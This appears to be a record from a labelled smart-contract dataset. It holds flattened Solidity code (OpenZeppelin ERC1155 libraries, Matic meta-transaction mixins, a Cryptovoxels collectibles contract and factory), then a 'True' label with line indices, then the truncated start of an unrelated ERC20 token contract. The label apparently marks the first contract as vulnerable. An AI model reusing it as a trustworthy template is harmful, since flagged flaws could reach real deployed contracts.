function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) public {
_setURI(uri_);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
_balances[id][account] = _balances[id][account].sub(
amount,
"ERC1155: burn amount exceeds balance"
);
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account].sub(
amounts[i],
"ERC1155: burn amount exceeds balance"
);
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/ContextMixin.sol
*/
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = payable(msg.sender);
}
return sender;
}
}
/**
* https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/Initializable.sol
*/
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
/**
* https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/EIP712Base.sol
*/
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
/**
* https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/NativeMetaTransaction.sol
*/
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
payable(msg.sender),
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
contract cvCollectibles is ERC1155, ContextMixin, NativeMetaTransaction, Ownable {
address internal creator;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
// Token name
string private _name;
constructor (string memory uri_, string memory name_) public ERC1155(uri_) {
_name = name_;
_setURI(uri_);
_initializeEIP712(name_);
creator = msg.sender;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual returns (string memory) {
return _name;
}
function takeOwnership() external {
require(msg.sender == creator);
transferOwnership(creator);
}
function setURI(string memory uri_) public onlyOwner {
_setURI(uri_);
}
/**
* @dev Mints some amount of tokens to an address
* @param _to Address of the future owner of the token
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
address _to,
uint256 _quantity,
bytes memory _data
) public onlyOwner {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(_to, newItemId, _quantity, _data);
}
/**
* This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
*/
function _msgSender()
internal
override
view
returns (address payable sender)
{
return ContextMixin.msgSender();
}
/**
* As another option for supporting trading without requiring meta transactions, override isApprovedForAll to whitelist OpenSea proxy accounts on Matic
*/
function isApprovedForAll(
address _owner,
address _operator
) public override view returns (bool isOperator) {
if (_operator == address(0x207Fa8Df3a17D96Ca7EA4f2893fcdCb78a304101)) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
}
//SPDX-License-Identifier: MIT
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract FactoryInterface {
string private _contractname;
address[] public collectionsList;
// Collection address to index in collecitonList
mapping(address => uint256) internal collectionToIndex;
// Collection address to boolean
mapping(address => uint256) collectionToId;
// Collection address to boolean
mapping(uint256 => address) idToCollection;
function name() public view virtual returns (string memory);
function launchCollection(uint256 collection_id,string memory _name) public virtual returns (address collection);
function addCollection(address _collection, uint256 collection_id) public virtual;
function getCollectionsCount() public virtual view returns (uint collectionscount);
function getIdFromCollection(address _collection) public virtual view returns (uint256 id);
function getCollectionFromId(uint256 _id) public virtual view returns (address collection);
event NewCollectionCreated(address indexed collection,address indexed owner, uint256 indexed collection_id);
}
contract collectionFactoryV1 is FactoryInterface, Ownable {
using Strings for uint256;
string private _contractname;
string private _uri;
constructor(){
_contractname = "Collection Factory V1";
_uri = 'https://www.cryptovoxels.com/c/';
}
function name() public view override returns(string memory){
return _contractname;
}
function launchCollection(uint256 collection_id,string memory _name) public override returns (address collection) {
require(idToCollection[collection_id] == address(0),'Collection already exists');
string memory uri = collectionURI(collection_id);
cvCollectibles newCollection = new cvCollectibles(uri,_name);
address _collection = address(newCollection);
require(_collection != address(0),'Zero address not allowed');
require(_collection != address(this));
// set collection to Id
collectionToId[_collection] = collection_id;
// set Id to collection
idToCollection[collection_id] = _collection;
// set collection to index in collectionsList
collectionToIndex[_collection] = collectionsList.length;
// Push into the collectionsList
collectionsList.push(_collection);
NewCollectionCreated(_collection,msg.sender,0);
// transfer ownership
newCollection.transferOwnership(msg.sender);
return _collection;
}
function addCollection(address _collection, uint256 collection_id) public override onlyOwner {
require(_collection != address(0),'Zero address is not allowed');
require(idToCollection[collection_id] == address(0),'Collection already exists');
require(_collection != address(this));
address o = cvCollectibles(_collection).owner();
// add to COllection to Id
collectionToId[_collection] = collection_id;
// add to Id to collection
idToCollection[collection_id] = _collection;
// add collection to index
collectionToIndex[_collection] = collectionsList.length;
// add to collection list
collectionsList.push(_collection);
NewCollectionCreated(_collection,o,collection_id);
}
function getCollectionsCount() public override view returns (uint256 collectionscount) {
return collectionsList.length;
}
function getIdFromCollection(address _collection) public override view returns (uint256 id) {
return collectionToId[_collection];
}
function getCollectionFromId(uint256 _id) public override view returns (address collection) {
return idToCollection[_id];
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function collectionURI(uint256 collection_id)
internal
view
returns (string memory)
{
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, collection_id.toString(),'/{id}'))
: "";
}
function _baseURI() internal view returns (string memory) {
return _uri;
}
function setBaseURI(string calldata newURI) public onlyOwner {
_uri = newURI;
}
} | True | [
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2575,
1031,
1033,
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2015,
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102
] | [
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] |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract PointPowerCoin is ERC20, Ownable, Pausable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 initialSupply;
uint256 totalSupply_;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
function PointPowerCoin() public {
name = "PointPowerCoin";
symbol = "PWR";
decimals = 18;
initialSupply = 50000000000;
totalSupply_ = initialSupply * 10 ** uint(decimals);
balances[owner] = totalSupply_;
Transfer(address(0), owner, totalSupply_);
}
function totalSupply() public view returns (uint256) {
